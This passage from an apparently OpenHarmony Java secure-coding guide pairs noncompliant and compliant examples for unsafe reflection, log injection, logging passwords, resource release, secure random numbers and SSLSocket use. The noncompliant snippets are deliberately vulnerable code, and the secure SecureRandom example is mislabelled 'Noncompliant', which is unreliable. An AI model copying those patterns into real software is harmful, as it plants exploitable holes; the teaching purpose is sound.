1869e41f4b71Sopenharmony_ci## Do not use external data directly as the class or method name in the reflection operation 1870e41f4b71Sopenharmony_ci 1871e41f4b71Sopenharmony_ci**\[Description]** 1872e41f4b71Sopenharmony_ci 1873e41f4b71Sopenharmony_ciUsing external data as the class or method name in the reflection operation can lead to an unexpected logic process, that is, unsafe reflection. This can be exploited by ill-intentioned users to bypass security checks or execute arbitrary code. If external data is required for reflection operations, the data must be validated against a class or method trustlist. Besides, the program could also allow users to select classes or methods in a given scope to protect reflection operations. 1874e41f4b71Sopenharmony_ci 1875e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1876e41f4b71Sopenharmony_ci 1877e41f4b71Sopenharmony_ci```java 1878e41f4b71Sopenharmony_ciString className = request.getParameter("class"); 1879e41f4b71Sopenharmony_ci... 1880e41f4b71Sopenharmony_ciClass objClass = Class.forName(className); 1881e41f4b71Sopenharmony_ciBaseClass obj = (BaseClass) objClass.newInstance(); 1882e41f4b71Sopenharmony_ciobj.doSomething(); 1883e41f4b71Sopenharmony_ci``` 1884e41f4b71Sopenharmony_ci 1885e41f4b71Sopenharmony_ciThis noncompliant code example uses an external class name to directly construct an object through reflection. An ill-intentioned user can construct a malicious `BaseClass` subclass object, take control over a `BaseClass` subclass, and execute arbitrary code in the `doSomething()` method of the subclass. An ill-intentioned user can further use the code to execute the default constructor of any class. Even if a `ClassCastException` is thrown in class conversion, the code in the constructor is executed as expected by the ill-intentioned user. 1886e41f4b71Sopenharmony_ci 1887e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 1888e41f4b71Sopenharmony_ci 1889e41f4b71Sopenharmony_ci```java 1890e41f4b71Sopenharmony_ciString classIndex = request.getParameter("classIndex"); 1891e41f4b71Sopenharmony_ciString className = (String) reflectClassesMap.get(classIndex); 1892e41f4b71Sopenharmony_ciif (className != null) { 1893e41f4b71Sopenharmony_ci Class objClass = Class.forName(className); 1894e41f4b71Sopenharmony_ci BaseClass obj = (BaseClass) objClass.newInstance(); 1895e41f4b71Sopenharmony_ci obj.doSomething(); 1896e41f4b71Sopenharmony_ci} else { 1897e41f4b71Sopenharmony_ci throw new IllegalStateException("Invalid reflect class!"); 1898e41f4b71Sopenharmony_ci} 1899e41f4b71Sopenharmony_ci... 1900e41f4b71Sopenharmony_ci``` 1901e41f4b71Sopenharmony_ci 1902e41f4b71Sopenharmony_ciIn this compliant code example, an external user can only specify the class index. If this class index can be mapped to a class name, the reflection operation is performed; if not, the program considers it invalid. 1903e41f4b71Sopenharmony_ci 1904e41f4b71Sopenharmony_ci# Log Auditing 1905e41f4b71Sopenharmony_ci 1906e41f4b71Sopenharmony_ci#### Do not log external data 1907e41f4b71Sopenharmony_ci 1908e41f4b71Sopenharmony_ci**\[Description]** 1909e41f4b71Sopenharmony_ci 1910e41f4b71Sopenharmony_ciRecording external data into logs may incur the following risks: 1911e41f4b71Sopenharmony_ci 1912e41f4b71Sopenharmony_ci- Log injection: Ill-intentioned users can use characters such as carriage returns and line feeds to inject a complete log. 1913e41f4b71Sopenharmony_ci- Leak of sensitive information: Recording user-supplied sensitive information into logs may leak the sensitive information. 1914e41f4b71Sopenharmony_ci- Junk log or log overwriting: If a user enters very long strings, a large number of junk logs may be generated. If logs are cyclically overwritten, valid logs may be maliciously overwritten. 1915e41f4b71Sopenharmony_ci 1916e41f4b71Sopenharmony_ciTherefore, do not record external data in logs. If external data must be logged, validate and sanitize the external data and truncate long strings. Before being recorded in logs, sensitive data such as keys and passwords must be masked with a fixed number of asterisks (\*), and other sensitive data, such as mobile numbers and email addresses, need to be anonymized. 1917e41f4b71Sopenharmony_ci 1918e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1919e41f4b71Sopenharmony_ci 1920e41f4b71Sopenharmony_ci```java 1921e41f4b71Sopenharmony_ciString jsonData = getRequestBodyData(request); 1922e41f4b71Sopenharmony_ciif (!validateRequestData(jsonData)) { 1923e41f4b71Sopenharmony_ci LOG.error("Request data validate fail! Request Data : " + jsonData); 1924e41f4b71Sopenharmony_ci} 1925e41f4b71Sopenharmony_ci``` 1926e41f4b71Sopenharmony_ci 1927e41f4b71Sopenharmony_ciIn this noncompliant code example, the requested JSON data will be directly logged when the validation fails. Sensitive data, if any, in the JSON string may be leaked. An ill-intentioned user can use carriage returns and line feeds to inject a crafted log into the JSON string. A long JSON string can lead to redundant logs. 1928e41f4b71Sopenharmony_ci 1929e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 1930e41f4b71Sopenharmony_ci 1931e41f4b71Sopenharmony_ciNewline characters, such as **\\r\\n** in external data, could be replaced before being recorded in logs to prevent log injection. The following code example shows a compliant implementation: 1932e41f4b71Sopenharmony_ci 1933e41f4b71Sopenharmony_ci```java 1934e41f4b71Sopenharmony_cipublic String replaceCRLF(String message) { 1935e41f4b71Sopenharmony_ci if (message == null) { 1936e41f4b71Sopenharmony_ci return ""; 1937e41f4b71Sopenharmony_ci } 1938e41f4b71Sopenharmony_ci return message.replace('\n', '_').replace('\r', '_'); 1939e41f4b71Sopenharmony_ci} 1940e41f4b71Sopenharmony_ci``` 1941e41f4b71Sopenharmony_ci 1942e41f4b71Sopenharmony_ci#### Do not log sensitive information such as passwords and keys 1943e41f4b71Sopenharmony_ci 1944e41f4b71Sopenharmony_ci**\[Description]** 1945e41f4b71Sopenharmony_ci 1946e41f4b71Sopenharmony_ciSensitive data, such as passwords and keys as well as their ciphertext forms, shall not be recorded in logs. Otherwise, the sensitive data may be leaked. If such data is absolutely needed in logs, replace it with a fixed number of asterisks (\*). 1947e41f4b71Sopenharmony_ci 1948e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1949e41f4b71Sopenharmony_ci 1950e41f4b71Sopenharmony_ci```java 1951e41f4b71Sopenharmony_ciprivate static final Logger LOGGER = Logger.getLogger(TestCase1.class); 1952e41f4b71Sopenharmony_ci... 1953e41f4b71Sopenharmony_ciLOGGER.info("Login success, user is " + userName + ", password is " + 1954e41f4b71Sopenharmony_ci encrypt(pwd.getBytes(StandardCharsets.UTF_8))); 1955e41f4b71Sopenharmony_ci``` 1956e41f4b71Sopenharmony_ci 1957e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 1958e41f4b71Sopenharmony_ci 1959e41f4b71Sopenharmony_ci```java 1960e41f4b71Sopenharmony_ciprivate static final Logger LOGGER = Logger.getLogger(TestCase1.class); 1961e41f4b71Sopenharmony_ci... 1962e41f4b71Sopenharmony_ciLOGGER.info("Login success, user is " + userName + ", password is ********."); 1963e41f4b71Sopenharmony_ci``` 1964e41f4b71Sopenharmony_ci 1965e41f4b71Sopenharmony_ci# Performance and Resource Management 1966e41f4b71Sopenharmony_ci 1967e41f4b71Sopenharmony_ci#### Release resources in **try-with-resource** or **finally** during I/O operations 1968e41f4b71Sopenharmony_ci 1969e41f4b71Sopenharmony_ci**\[Description]** 1970e41f4b71Sopenharmony_ci 1971e41f4b71Sopenharmony_ciResources need to be released in a timely manner when they are no longer needed. However, when exceptions occur, resource release is often ignored. This requires explicitly use of `close()` or another method in the **finally** block of the **try-catch-finally** structure to release resources during database and I/O operations. If multiple I/O objects need to be released using `close()`, each `close()` invocation must be done in a separate **try-catch** structure, so as to prevent a release failure of one I/O object from affecting the release of other I/O objects. 1972e41f4b71Sopenharmony_ci 1973e41f4b71Sopenharmony_ciJava 7 provides the automatic resource management feature **try-with-resource**. It takes precedence over **try-finally**, so the resulting code is more concise and clear, and the resulting exceptions are more valuable. Especially for multiple resources or exceptions, **try-finally** may lose the previous exception, while **try-with-resource** retains the first exception and treats subsequent exceptions as suppressed exceptions, which can be checked based on the array returned by `getSuppressed()`. 1974e41f4b71Sopenharmony_ci 1975e41f4b71Sopenharmony_ci**try-finally** is also used in scenarios such as `lock()` and `unlock()`. 1976e41f4b71Sopenharmony_ci 1977e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 1978e41f4b71Sopenharmony_ci 1979e41f4b71Sopenharmony_ci```java 1980e41f4b71Sopenharmony_citry (FileInputStream in = new FileInputStream(inputFileName); 1981e41f4b71Sopenharmony_ci FileOutputStream out = new FileOutputStream(outputFileName)) { 1982e41f4b71Sopenharmony_ci copy(in, out); 1983e41f4b71Sopenharmony_ci} 1984e41f4b71Sopenharmony_ci``` 1985e41f4b71Sopenharmony_ci 1986e41f4b71Sopenharmony_ci# Miscellaneous 1987e41f4b71Sopenharmony_ci 1988e41f4b71Sopenharmony_ci#### Use cryptographically secure random numbers in security scenarios 1989e41f4b71Sopenharmony_ci 1990e41f4b71Sopenharmony_ci**\[Description]** 1991e41f4b71Sopenharmony_ci 1992e41f4b71Sopenharmony_ciInsecure random numbers may be partially or entirely predicted, causing security risks in the system. Therefore, cryptographically secure random numbers must be used in security scenarios. Cryptographic secure random numbers fall into two types: 1993e41f4b71Sopenharmony_ci 1994e41f4b71Sopenharmony_ci- Random numbers generated by true random number generators (TRNGs). 1995e41f4b71Sopenharmony_ci- Random numbers generated by pseudo random number generators (PRNGs) which use the few random numbers generated by TRNGs as seeds 1996e41f4b71Sopenharmony_ci 1997e41f4b71Sopenharmony_ciIn Java, `SecureRandom` is a cryptographically secure PRNG. When using PRNGs to generate random numbers, make sure to use true random numbers as seeds. 1998e41f4b71Sopenharmony_ci 1999e41f4b71Sopenharmony_ciCommon security scenarios include: 2000e41f4b71Sopenharmony_ci 2001e41f4b71Sopenharmony_ci- Generation of IVs, salts, keys, etc. for cryptographic algorithm purposes 2002e41f4b71Sopenharmony_ci- Generation of session IDs 2003e41f4b71Sopenharmony_ci- Generation of random numbers in the challenge algorithm 2004e41f4b71Sopenharmony_ci- Generation of random numbers of verification codes 2005e41f4b71Sopenharmony_ci 2006e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 2007e41f4b71Sopenharmony_ci 2008e41f4b71Sopenharmony_ci```java 2009e41f4b71Sopenharmony_cipublic byte[] generateSalt() { 2010e41f4b71Sopenharmony_ci byte[] salt = new byte[8]; 2011e41f4b71Sopenharmony_ci Random random = new Random(123456L); 2012e41f4b71Sopenharmony_ci random.nextBytes(salt); 2013e41f4b71Sopenharmony_ci return salt; 2014e41f4b71Sopenharmony_ci} 2015e41f4b71Sopenharmony_ci``` 2016e41f4b71Sopenharmony_ci 2017e41f4b71Sopenharmony_ci`Random` only generates insecure random numbers, which cannot be used as salts. 2018e41f4b71Sopenharmony_ci 2019e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 2020e41f4b71Sopenharmony_ci 2021e41f4b71Sopenharmony_ci```java 2022e41f4b71Sopenharmony_cipublic byte[] generateSalt() { 2023e41f4b71Sopenharmony_ci byte[] salt = new byte[8]; 2024e41f4b71Sopenharmony_ci SecureRandom random = new SecureRandom(); 2025e41f4b71Sopenharmony_ci random.nextBytes(salt); 2026e41f4b71Sopenharmony_ci return salt; 2027e41f4b71Sopenharmony_ci} 2028e41f4b71Sopenharmony_ci``` 2029e41f4b71Sopenharmony_ci 2030e41f4b71Sopenharmony_ci#### Use SSLSocket, but not Socket, for secure data exchange 2031e41f4b71Sopenharmony_ci 2032e41f4b71Sopenharmony_ci**\[Description]** 2033e41f4b71Sopenharmony_ci 2034e41f4b71Sopenharmony_ciPrograms must use SSLSocket, but not Socket, for network communications involving cleartext sensitive information. Socket provides cleartext communication wherein the sensitive data may be intercepted by attackers, so that the attackers can launch man-in-the-middle attacks to tamper with packets. SSLSocket provides security protection on the basis of Socket, such as identity authentication, data encryption, and integrity protection. 2035e41f4b71Sopenharmony_ci 2036e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 2037e41f4b71Sopenharmony_ci 2038e41f4b71Sopenharmony_ci```java 2039e41f4b71Sopenharmony_citry { 2040e41f4b71Sopenharmony_ci Socket socket = new Socket(); 2041e41f4b71Sopenharmony_ci socket.connect(new InetSocketAddress(ip, port), 10000); 2042e41f4b71Sopenharmony_ci os = socket.getOutputStream(); 2043e41f4b71Sopenharmony_ci os.write(userInfo.getBytes(StandardCharsets.UTF_8)); 2044e41f4b71Sopenharmony_ci ... 2045e41f4b71Sopenharmony_ci} catch (IOException ex) { 2046e41f4b71Sopenharmony_ci //Handle the exception 2047e41f4b71Sopenharmony_ci} finally { 2048e41f4b71Sopenharmony_ci //Close the stream 2049e41f4b71Sopenharmony_ci} 2050e41f4b71Sopenharmony_ci``` 2051e41f4b71Sopenharmony_ci 2052e41f4b71Sopenharmony_ciThis noncompliant code example uses Socket to transfer cleartext packets. Sensitive information, if any, in the packets may be leaked or tampered with. 2053e41f4b71Sopenharmony_ci 2054e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 2055e41f4b71Sopenharmony_ci 2056e41f4b71Sopenharmony_ci```java 2057e41f4b71Sopenharmony_citry { 2058e41f4b71Sopenharmony_ci SSLSocketFactory sslSocketFactory = 2059e41f4b71Sopenharmony_ci (SSLSocketFactory) SSLSocketFactory.getDefault(); 2060e41f4b71Sopenharmony_ci SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createSocket(ip, port); 2061e41f4b71Sopenharmony_ci os = sslSocket.getOutputStream(); 2062e41f4b71Sopenharmony_ci os.write(userInfo.getBytes(StandardCharsets.UTF_8)); 2063e41f4b71Sopenharmony_ci ... 2064e41f4b71Sopenharmony_ci} catch (IOException ex) { 2065e41f4b71Sopenharmony_ci //Handle the exception 2066e41f4b71Sopenharmony_ci} finally { 2067e41f4b71Sopenharmony_ci //Close the stream 2068e41f4b71Sopenharmony_ci} 2069e41f4b71Sopenharmony_ci``` 2070e41f4b71Sopenharmony_ci 2071e41f4b71Sopenharmony_ciThis compliant code example uses SSLSocket to protect packets using SSL/TLS. 2072e41f4b71Sopenharmony_ci 2073e41f4b71Sopenharmony_ci**\[Exception]** 2074e41f4b71Sopenharmony_ci 2075e41f4b71Sopenharmony_ciThe mechanisms that SSLSocket provides to ensure the secure transfer of packets may result in significant performance overhead. Regular sockets are sufficient under the following circumstances: 2076e41f4b71Sopenharmony_ci 2077e41f4b71Sopenharmony_ci- The data being sent over the socket is not sensitive. 2078e41f4b71Sopenharmony_ci- The data is sensitive but properly encrypted. 2079e41f4b71Sopenharmony_ci 2080e41f4b71Sopenharmony_ci#### Avoid public network addresses in code 2081e41f4b71Sopenharmony_ci 2082e41f4b71Sopenharmony_ci 2083e41f4b71Sopenharmony_ci 2084e41f4b71Sopenharmony_ci**\[Description]** 2085e41f4b71Sopenharmony_ci 2086e41f4b71Sopenharmony_ciProviding public network addresses that are invisible and unknown to users in code or scripts can raise doubts among customers. 2087e41f4b71Sopenharmony_ci 2088e41f4b71Sopenharmony_ciPublic network addresses (including public IP addresses, public URLs/domain names, and email addresses) contained in the released software (including software packages and patch packages) must meet the following requirements: 2089e41f4b71Sopenharmony_ci1\. Avoid public network addresses that are invisible on UIs or not disclosed in product documentation. 2090e41f4b71Sopenharmony_ci2\. Do not write disclosed public IP addresses in code or scripts. They can be stored in configuration files or databases. 2091e41f4b71Sopenharmony_ci 2092e41f4b71Sopenharmony_ciThe public IP addresses built in open-source or third-party software must meet the first requirement. 2093e41f4b71Sopenharmony_ci 2094e41f4b71Sopenharmony_ci**\[Exception]** 2095e41f4b71Sopenharmony_ci 2096e41f4b71Sopenharmony_ciThis requirement is not mandatory when public network addresses must be specified as required by standard protocols. For example, an assembled public network URL must be specified for the namespace of functions based on the SOAP protocol. W3.org addresses on HTTP pages and feature names in XML parsers are also exceptions.